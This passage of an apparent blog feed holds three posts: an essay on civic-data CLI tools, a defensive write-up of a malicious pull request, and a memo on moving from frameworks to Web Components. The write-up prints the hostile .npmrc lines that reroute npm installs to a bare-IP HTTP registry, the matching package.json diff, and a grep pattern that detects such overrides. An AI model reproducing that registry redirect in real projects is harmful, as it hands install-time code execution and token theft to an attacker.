Because the dangerous thing was never a single dataset. A lobbyist list is a phone book. A budget is a spreadsheet. It’s the join that produces accountability: this lobbyist, this committee, this budget line, this vote. Publish everything, link nothing, and you get transparency theater — technically open, practically opaque.
Which is why aggressive uniformity is the entire design. Every CLI:
npm i -g <name>-cli, or just npx it)Uniformity on the outside is interoperability retrofitted in userland. The state won’t build the joins — fine, jq and a pipe will.
“write programs that handle text streams, because that is a universal interface”
Doug McIlroy’s quote is fifty years old and turns out to double as civic infrastructure.
There’s also a speed asymmetry worth naming. The state ships one half-baked portal per geological epoch. An open-source tool, once it’s out there, does five to ten iterations in the same window — and how that pace is sustained across a hundred repos is its own story, which I’ll get to at the end. Suffice it for now: I’m genuinely curious whether the old sabotage strategies still work. My bet is no.
The other honest motivation, and I know how the word sounds: this is anti-journalism activism.
Not anti-truth. Anti-middleman. The project started because I wanted to understand politics better and noticed the way to do it was to stop reading coverage and start reading sources — because something is deeply off in the land of print and online.
If you’ve followed games journalism, you already know the mechanism. Embargo access, preview trips, review copies: cuddle with the subject of your reporting long enough and their viewpoints start seeping into the copy. Whoever wants access has to heel. Berlin political journalism runs the identical loop, just with ministries instead of publishers. Ask genuinely hard questions and you stop getting interview partners; stay harmless and you get the chancellor on your politics podcast — formats that have degraded into free airtime, retransmitting campaign promises without so much as a follow-up question.
The business model completes the picture, and it’s beautifully inverted: the comment section — the part engineered to split people, because division is engagement — is free. The actual reporting sits behind the paywall. Outrage as the loss leader, information as the premium tier. Meanwhile the 90-page committee document that the 400-word article summarizes sits in a public API, timestamped and complete, read by approximately nobody.
Here’s the sentence that will annoy everyone, so let me stand behind it: a language model reproduces mediocrity, at best. That happens to clear the bar for most of German political journalism. If your value-add over the primary source is a summary plus a framing, you are competing with curl piped into a tin can — and losing on price, speed, and blood pressure.
But replacement is the petty version of the goal. The real one is democratizing access. A normal citizen has neither the money to first train as a political scientist nor the decade for a traineeship just to work out what a law will actually do to them. The documents are public; the literacy was gatekept. An agent with these CLIs closes that gap — and sometimes the entire barrier is language: rewrite a committee report in plain German, or in another language altogether, and a document that was technically public becomes actually accessible. Plenty of people can consume politics straight from the source once someone removes the provocative framing that only ever served somebody else’s revenue. I’m fairly certain I’m not the only one who wants that.
The manual version of this research already works and I’ve done it plenty: pull a member of parliament from the Bundestag’s DIP system, enrich the picture at abgeordnetenwatch.de, then follow the person’s pet topic down a FragDenStaat rabbit hole of freedom-of-information requests. Handwork, but it delivers — that route has genuinely surprised me more than once, and the surprises are the point. I go looking for my unknowns.
Handwork, though? Maybe not for long.
Agentic systems — the new machine god, as I’ve taken to calling it, with more patience than a trainee news desk and better organization than the people officially in charge of “Digitalisierung” — are terminal natives. Give an agent a tool that takes flags and returns JSON with a predictable schema and it uses it correctly on the first try; it has seen ten million CLIs in training. The shell is the integration layer. Every agent runtime on earth can execute a command; not every one speaks whatever protocol is fashionable this quarter. That’s why it’s CLI first, and why each repo ships agent skills alongside the binary — the CLI is the muscle, the skill is the manual.
Now hand an agent all 25 manuals and describe the DIP → abgeordnetenwatch → FragDenStaat workflow. It runs the whole rabbit hole in minutes, in parallel, with citations. And notice: entity matching across inconsistently named datasets — the state’s main anti-interoperability defense — happens to be something language models are freakishly good at. The moat was designed for humans with browsers. It was not designed for this.
The traffic runs the other way too. These tin cans confabulate; producing plausible text is the whole job description, and a model will invent a river level or a committee vote without blinking. Feeding it primary data from calibrated government systems — a sensor bolted to a bridge, a document with an ID and a timestamp — is how you stop the machine from making things up. The APIs ground the model; the model joins the APIs. Fair trade.
How you combine thetools is, as far as I’m concerned, a secret between you and your computer.
In a second repo sits a politics search engine that needs exactly this data for contextualization — a five-digit number of sources, collected since the RSS days. The engine has been through three eras that neatly mirror the last fifteen years of search itself: pure full-text before 2010, semantic search through 2020, and since 2025 both of those with a language model bolted on top. The CLIs are what that stack turned out to need: grounding. Fifteen-plus years of watching this ecosystem is where the interoperability thesis comes from; it’s not a hot take, it’s a scar.
Everything is AGPL. Every package ships an SBOM, because I’ve written enough about npm supply-chain attacks to refuse publishing anything opaque myself. Version numbers start at 0.0.x and mean it.
Which leaves the question of how sixteen of these exist already and a hundred are plausible without me giving up sleep, food, or my remaining goodwill. The answer is the part of the project I find most instructive: the CLIs come out of a dark factory.
Manufacturing people know the term — lights-out production. FANUC has run plants in Japan where robots build robots for weeks at a stretch with the lights literally off, because nobody’s in the building to need them. That, minus the sheet metal, is the production model here. There’s a template repository that acts as the assembly line: project layout, flag conventions, test harness, CI, SBOM generation, npm publishing — the jigs and fixtures. A new government API enters at one end as raw material; agents read whatever passes for its documentation, probe the endpoints, generate the wrapper against the template, write the tests, write the agent skill, and a CLI comes out the other end, boxed and labeled like its fifteen siblings. When shared plumbing improves, the change propagates across every repo the same way — nobody hand-edits sixteen READMEs at 11 PM, because nobody hand-edits sixteen READMEs at all.
My job in this factory is not on the line. It’s the job humans keep in every lights-out plant: I define the product, I set the tolerances, and I stand at the quality gate reading diffs before anything ships. Exception handling, in both senses.
Two consequences fall out of this, and they’re the whole game. First, the marginal cost of wrapping one more government API is approaching the cost of caring about it — which is how “roughly a hundred” stops being bravado and becomes a backlog. Second, remember the state’s favorite defense, the arbitrary format change? Against a hand-maintained scraper, lethal. Against a factory, it’s a work order. The breakage lands in CI, an agent retools the line, I review the diff over coffee. The sabotage now costs the saboteur more than the target.
*The project lives at github.com/maschinenlesbar-org, with running commentary at @maschinenlesbar.bsky.social. *
]]>sebs/etherscan-api to correct that assumption.
This one is worth a writeup precisely because it is small. No worm, no self-replicating bash, no 200-line obfuscated payload. Six lines added, three removed, across two files. If you reviewed it at 23:00 with one eye open, you would merge it. That is the whole point of it, and that is why it belongs in this series.
The PR arrived titled refactor: replace manual multicall with ethers-multicall-utils. The description is a thing of beauty in the way that all good lies are tidy:
This PR integrates
ethers-multicall-utilsto improve performance of multi-contract reads.
- Reduces network latency
- Works with all EVM chains
- Zero dependencies
Read that again. It is fluent in the dialect of the modern PR. It has bullet points. It says “zero dependencies,” which is the magic phrase that makes a security-minded maintainer relax their shoulders — the previous post in this series was literally me preaching about minimal package footprint, and here is a contributor seemingly speaking my language back to me. That is not a coincidence. The social engineering is calibrated for the target.
The author account was not a five-minute-old burner either. Aged profile, hundreds of repos, an Arctic Code Vault badge, Pull Shark, a believable bio, a real-looking employer. Everything about the envelope says “competent open-source human.” Everything in the envelope says otherwise.
Here is the entire attack. First, a brand new .npmrc appears in the repo root:
registry=https://registry.npmjs.org/
:registry=http://206.223.232.170:64389/
The first line is decoration. It points at the real npm registry and exists purely so the file looks reasonable to a skimming eye.
The second line is the knife. The empty-scope syntax :registry= sets the default registry for everything that does not carry an explicit scope. So the net effect of those two lines together is: ignore the line above, and resolve packages from http://206.223.232.170:64389/ instead.
Three things should set your hair on fire here:
http://. No TLS at all. Whoever controls the wire — or simply controls that host — controls every byte npm pulls down, and any token npm sends up during install.The second file change is package.json, and it is the fig leaf that makes the .npmrc look purposeful:
"devDependencies": {
"@types/node": "22.10.5",
"typedoc": "0.28.19",
- "typescript": "6.0.3"
+ "typescript": "6.0.3",
+ "ethers-multicall-utils": "^2.1.4"
}
A new dependency is added that — surprise — does not need to exist on the real npm registry, because the .npmrc has already rerouted resolution to the attacker’s server. They can serve whatever they like under that name: a package whose postinstall script runs their code, or a trojaned copy of something you already trust. The ^2.1.4 caret is a nice touch too — it pre-authorises any “newer” version they decide to push later.
There was also a cosmetic edit re-escaping the ü in my own name in the author field. Pure diff noise, there to make the commit read like a tidy housekeeping pass. I have rarely felt so personally tidied.
The Shai-Hulud worm was loud. It propagated, it phoned home, it cloned private repos, and that noise is exactly what gets it caught and written up. This thing is the opposite design philosophy. It is quiet, it is two lines, and it weaponises your own install command. You do not need to be tricked into running anything exotic. You run npm install, the same way you have ten thousand times before, and the trap springs in your CI runner or on your laptop with your npm token sitting right there in the environment.
The chain, end to end:
plausible "perf refactor" PR
│
▼
package.json adds a dependency that only resolves...
│
▼
...from the registry hardcoded in .npmrc
│
▼
http://<attacker-ip>:<port> serves a malicious package
│
▼
install-time code execution, token harvest, or worse
Every link looks boring in isolation. That is the craft.
Nothing clever. The PR was reviewed by a human who looked at the files, not just the description, and asked the only question that matters when a PR touches install configuration: why is there a registry line pointing at a random IP over HTTP? There is no benign answer to that question. The PR was closed unmerged.
But “I happened to look” is not a control. Let us turn it into one.
Treat .npmrc as a security-critical file. It configures where your code comes from. That is at least as sensitive as a CI workflow file, and in the previous post I argued the actions/ folder deserves CODEOWNERS and branch protection. .npmrc deserves exactly the same paranoia. Put it behind CODEOWNERS so any change to it requires a human you trust.
Add a CI check that refuses hostile registry config. A grep is enough to start. Fail the build if an .npmrc anywhere in the tree points at a non-HTTPS registry or a bare IP:
# fail if any .npmrc references a non-https or IP-based registry
if git grep -nE 'registry\s*=\s*https?://' -- '**/.npmrc' \
| grep -vE '=\s*https://([a-z0-9.-]+\.)?(npmjs\.org|your-private-registry\.example)/' ; then
echo "Suspicious registry override detected in .npmrc"
exit 1
fi
Tune the allowlist to your actual registries. The point is that new registry endpoints become a deliberate, reviewed event rather than something that rides in on a refactor.
Pin and verify what you install. A committed lockfile plus npm ci (not npm install) in CI means resolution follows the lockfile, and a foreign registry URL in there is glaring in review. --ignore-scripts in CI where you can get away with it removes the install-time code execution primitive that most of these attacks ultimately rely on.
Build in a box with a short leash. This is the same advice as part one, and this attack is a clean example of why it works: if your build container can only reach your known registry and nothing else, a redirect to 206.223.232.170:64389 simply fails to connect. The exfiltration and the malicious fetch both die at the network boundary. DNS/egress allowlisting is not glamorous and it quietly defeats a whole category of this.
Review the diff, never the description. The PR text is written by the attacker. It is marketing copy. The only ground truth is the files changed tab. If a “performance” or “dependency” PR touches .npmrc, package.json install config, lifecycle scripts, or a workflow file, the description becomes irrelevant and the change earns full scrutiny regardless of how friendly the bullet points were.
Assume the friendly account might not be its owner. An aged profile with good badges is not a trust signal anymore; it is an attack asset, because hijacked reputable accounts are precisely what makes a malicious PR slide through. “Assume breach” applies to your contributors’ credentials, not just your own.
I write a series about supply chain security and someone still walked a registry-hijack PR right up to my front door. That is not a failure of the series; that is the actual threat model. These attacks are cheap, automated, and sprayed across hundreds of repositories at once on the statistical certainty that someone merges at 23:00 with one eye open. You do not have to be careless to get got. You just have to be tired once.
So make the boring controls do the watching for you, because your attention is the resource the attacker is budgeting against.
To misquote the same wise machine I closed part one with:
]]>The only winning move is to not run
npm install.
A decision memo for anyone staring at their package.json and wondering.
Most arguments for leaving your SPA framework center on the upgrade treadmill — the endless cycle of major-version migrations, dependency churn, and build-tool turnover. That argument is real but incomplete, and on its own it has never been decisive: every framework shop has learned to live with the treadmill. There’s a stronger case, built on four pillars that compound with each other.
First, total cost of ownership: vanilla JavaScript on the web platform has unusual TCO properties, dominated by a depreciation curve that is nearly flat. Code written against the platform does not rot, because its substrate does not change. Over long horizons, this single property outweighs almost every per-feature productivity argument in a framework’s favor.
Second, the labor market: the pool of people who can work on vanilla JavaScript is not a niche within the frontend market — it is the entire frontend market, plus most of the backend market. Every framework developer is, underneath, a JavaScript developer. The reverse is not true. If you hire for a specific framework, you’re hiring from a subset while telling yourself you’re hiring from the mainstream.
Third, AI leverage: engineers now produce a growing share of code with AI assistance, and the economics of that assistance differ sharply by target. The web platform is a small, stable, exhaustively documented body of knowledge; a framework ecosystem is a large, fast-mutating one whose training data is perpetually stale. AI coding tools are measurably more reliable on the former. As AI-assisted development becomes the dominant mode of production, the substrate that AI handles best becomes the cheaper substrate — and the gap widens every year the platform stays still while frameworks move.
Fourth, architecture: porting to Web Components is not a transliteration of the same design into different syntax. The platform pushes toward a genuinely different architecture — autonomous, message-passing components rather than a centrally reconciled tree — and that architecture has its own economic consequences, mostly favorable for a broad class of applications, which you should adopt deliberately rather than discover by accident.
The recommendation, stated up front: if your application sits in the right quadrant — long-lived, stabilizing, forms-and-views rather than collaborative-canvas — migrate incrementally via the strangler pattern, and reject any big-bang rewrite. The rest of this post develops each pillar, the reasoning behind them, and the conditions under which the whole argument flips.
Before the pillars, the principles they rest on. If you disagree with a conclusion below, the disagreement is probably with one of these — and that’s the productive place to have it.
Most software cost models obsess over construction cost and treat the maintenance tail as a multiplier. For long-lived applications, this is backwards: the tail is the animal. Industry experience consistently puts lifetime maintenance at several multiples of initial development, and the composition of that maintenance is what distinguishes substrates.
Framework code carries three maintenance components: (a) changes you choose to make — features, fixes; (b) changes the substrate forces on you — version migrations, deprecations, dependency security churn, toolchain turnover; and (c) the eventual full rewrite, when the foundation’s liability exceeds the asset’s value. Platform-native code carries only (a). Component (b) approaches zero because browsers do not ship breaking changes to the DOM; the platform’s backwards-compatibility record spans decades, and code written against Custom Elements and CSS custom properties in 2026 will run unmodified in 2040. Component (c) — the scheduled-but-undated rewrite — is eliminated outright, and it’s the largest single line in any honest long-horizon model: the cost of your entire application, again, plus the behavioral archaeology of rediscovering a decade of micro-decisions nobody remembers making.
The resulting picture is two depreciation curves. Framework code depreciates like a vehicle: it loses value continuously through ecosystem drift even when untouched, and requires periodic capital injections (major-version migrations) merely to retain function. Platform code depreciates like land with a building on it: the building — your features — needs upkeep proportional to how often you change it, but the ground does not move. On a four-year horizon the curves barely separate, and the framework’s day-one ergonomics win. On a ten-year horizon the flat curve dominates decisively, with the crossover arriving well before year eight even under assumptions generous to the framework.
One honest cost on the vanilla side of the ledger: the platform lacks a built-in reactivity model, so any non-trivial app will carry a thin, standards-tracking layer — a few hundred lines of signals, or a micro-library like Lit. That’s a maintenance liability you own. It’s also bounded, inspectable, and sits on a substrate that doesn’t move beneath it — a fundamentally different risk class from a framework’s hundreds of thousands of lines on a quarterly release cadence.
The conventional objection runs: “the market is full of React developers; vanilla and Web Components are a niche; you’d be narrowing your hiring funnel.” This inverts the actual structure of the market.
Every framework developer writes JavaScript. The framework is a dialect on top of a language they already know; the DOM is the machine their framework ultimately drives. A vanilla codebase is therefore legible, at the floor, to the union of all framework communities — React, Vue, Angular, Svelte — plus the substantial population of full-stack and backend engineers who know JavaScript but never specialized in any frontend framework. A framework codebase is legible to one slice. When a company posts a role requiring deep experience in a specific framework at a specific major version, it filters the market twice: once by dialect, once by dialect vintage. Tenet 2 says to measure at the skill floor: the number of engineers who can be productive in a well-structured vanilla codebase within a month is a strict superset — several times over — of those who can be productive in any single framework codebase.
The second-order effects all point the same direction. Onboarding compresses, because there’s no framework dialect, no bespoke state-management idiom, and no build-pipeline folklore to absorb; the learning surface is the platform itself — which every candidate has been marinating in their whole career — plus your domain. Skill durability improves: what engineers learn maintaining a vanilla codebase (DOM, events, encapsulation, the platform’s actual contract) appreciates over their careers rather than expiring with a framework’s market share — which, incidentally, makes such roles easier to sell to strong senior candidates who have been burned by dialect churn before. Key-person risk falls: you’re no longer exposed to the scenario where your framework’s talent pool thins as fashion moves on, leaving you bidding against scarcity for maintenance of an aging stack — the COBOL dynamic, arriving on a ten-year fuse.
The honest counterpoint: average familiarity with Shadow DOM specifics — slot composition, event retargeting, ElementInternals — is genuinely lower than average familiarity with mainstream framework idioms. Size that as a weeks-not-quarters training cost per engineer, set against a structural enlargement of the funnel. That’s a trade worth taking eagerly.
A growing share of code is now produced with AI assistance, and the share keeps rising. This changes what “developer productivity” means: increasingly, the binding constraint is not how fast a human writes code but how reliably a model generates it and how cheaply a human verifies it. Substrate choice now has an AI term in it (Tenet 3), and the term favors the platform, for three structural reasons.
The body of knowledge is small. The web platform’s API surface — DOM, events, Custom Elements, fetch, modern CSS — is compact and exhaustively specified. A framework ecosystem is that surface plus the framework’s own large API, plus its state-management satellites, plus its meta-framework conventions, plus the idioms of whichever major version is current. A model asked to generate framework code is navigating a pattern space an order of magnitude larger, much of it convention rather than specification, where plausible-looking compositions are subtly wrong.
The corpus is stable. Models are trained on historical code. For a fast-moving framework, that history is a sediment of deprecated patterns: training data is dominated by yesterday’s idioms, and the model confidently emits APIs that were removed two majors ago, mixes the old paradigm with the new one, or imports packages that have since been renamed. Anyone who uses AI assistants on framework code recognizes this failure mode; it converts generation speed into review burden. Platform APIs don’t have this problem, because the correct pattern of 2016 is still the correct pattern of 2026. The training distribution and the deployment reality coincide. This appears to be a permanent structural advantage: it widens every year the platform stays still while frameworks move, and no amount of model improvement fully closes it, because the staleness is in the data, not the model.
Verification is cheaper. AI-generated vanilla code is checkable against a public specification and observable directly in a debugger; there’s no reconciler between the code and its effect. AI-generated framework code must additionally be checked against framework semantics — rules of hooks, reactivity caveats, hydration constraints — exactly the kind of non-local, convention-encoded correctness conditions that models violate most and reviewers catch slowest.
The economic translation: if AI assistance produces correct-on-first-pass code meaningfully more often on platform targets — and the day-to-day experience of teams suggests it does — then per-feature production cost on the platform falls faster than on the framework as AI adoption deepens. The framework’s traditional advantage was developer ergonomics for humans. In a regime where machines write the first draft, ergonomics-for-machines is the metric, and it points the other way. The benefit is symmetric, too: a smaller, stable codebase with no framework dialect is easier for AI tools to read, making AI-assisted maintenance, migration, and onboarding cheaper as well.
A framework SPA, whatever its component syntax, is architecturally a centrally coordinated system: a single reconciler owns the tree, state changes flow through a global scheduler, and components are functions evaluated inside someone else’s run loop. This buys coherence and costs coupling — every component is coupled to the coordinator’s semantics, which is precisely why framework migrations are total rather than partial. You cannot move one limb at a time when one brain runs the body.
Web Components push toward the opposite: an architecture of autonomous cells. Each custom element owns its state, its shadow-encapsulated rendering, and its lifecycle; coordination happens at the edges, through attributes and properties going down and composed DOM events bubbling up — message passing, not shared reconciliation. The DOM itself becomes the integration layer, which is to say the integration layer is standardized, inspectable, and owned by no vendor.
This architecture has economic consequences worth naming explicitly. Change locality: with state and rendering encapsulated per element and styling hard-bounded by the shadow root, the blast radius of a change is structurally small; cost-of-change correlates with the size of the change rather than the size of the application. Independent evolvability: components can be rewritten, replaced, or owned by different teams on different schedules, because the contract between them is the DOM, not a framework version — this is the property that makes incremental migration possible at all, and it persists afterward as a permanent option to adopt or shed any future technology one component at a time. Failure isolation: autonomous cells degrade locally; a broken widget is a broken widget, not a poisoned render tree. Honest costs: truly cross-cutting state — session, theming, live shared data — requires deliberate design (a small event bus or shared reactive stores) rather than reaching for a framework’s global store; and deeply orchestrated interactions spanning many components are genuinely harder to express than in a centralized model. For applications shaped like many semi-independent views over a domain model — most business software, most dashboards, most content products — the trade is strongly favorable. For a real-time collaborative canvas, it isn’t, and it’s better to say so than to pretend.
The strategic point of Tenet 4: don’t port the old architecture into new syntax. The migration’s full return is only collected if you adopt the cell architecture deliberately — defining element contracts, event taxonomies, and the thin shared-state layer up front — so that what you build is not “your framework app, minus the framework,” but a system whose coupling structure is itself the asset.
The pillars share failure modes worth naming. The TCO argument fails if the application’s life is cut short — below roughly five years, the flat curve never overtakes. The labor argument fails if the codebase is structured so idiosyncratically that the “anyone who knows JavaScript” floor becomes theoretical; the mitigation is the deliberate architecture of Pillar Four plus written contracts. The AI argument is the youngest and deserves humility plus instrumentation — track first-pass acceptance rates of AI-generated changes on platform-native versus framework surfaces and let the data speak. The architecture argument fails if the product is heading toward heavy cross-component choreography; treat that as a named trigger to reconsider.
And the execution model matters as much as the destination, because the all-at-once rewrite is the highest-risk version of this trade. Web Components offer a uniquely cheap alternative, since custom elements work inside any framework: freeze the framework version first (instantly recovering the upgrade-treadmill capacity, before a single component is ported), build all new components as custom elements mounted within the existing app, convert old components opportunistically when feature work touches them anyway (so the behavioral archaeology is paid for by the feature), and remove the framework shell last, when it has been reduced to routing and a mount point. Each phase pays for itself; the plan is pausable at every stage; even abandoning it after the freeze leaves you better off than before. That’s the two-way door of Tenet 5 — and it’s the property that turns this from a bet into a position you can adjust.
Q: The hiring argument seems backwards — job boards show far more framework roles than vanilla roles. A: Job postings measure employer demand for dialects, not the supply of capable engineers. The claim here is about supply at the skill floor: everyone writing those framework apps knows JavaScript and the DOM underneath. Going vanilla widens your funnel to the union of all camps; the postings only tell you most employers haven’t noticed.
Q: Won’t AI tools get good enough at frameworks that Pillar Three evaporates? A: Models will improve at everything, but the framework penalty is structural, not capability-based: training corpora lag a moving target, and convention-heavy correctness is harder to verify than specification-backed correctness. A better model narrows the gap per task while framework churn re-widens it. Stability is the moat, and only the platform has it.
Q: Isn’t “autonomous cells coordinated by events” just microservices on the frontend, with all the same distributed-system pain? A: It shares the virtue — independent evolvability — without the worst costs: no network between components, synchronous composition, and a standardized integration layer (the DOM) that nobody has to build or operate. The genuine analogous cost, designing cross-cutting state deliberately, is acknowledged in Pillar Four and should be budgeted, not discovered.
Q: If platform TCO is so superior, why do new projects keep choosing frameworks? A: Because most projects rationally optimize time-to-first-ship on a short horizon, and frameworks win that race. The argument here is about years five through fifteen of an application’s life, where the curves invert. Different phase, different optimum — and most TCO discussions never get past phase one.
Q: What single metric tells a team in a year whether this was right? A: Fully-loaded cost per shipped change on converted surfaces versus unconverted ones — inclusive of review time and AI-assist acceptance rates. If converted surfaces aren’t cheaper to change within a couple of quarters, the two-way door is right there.
]]>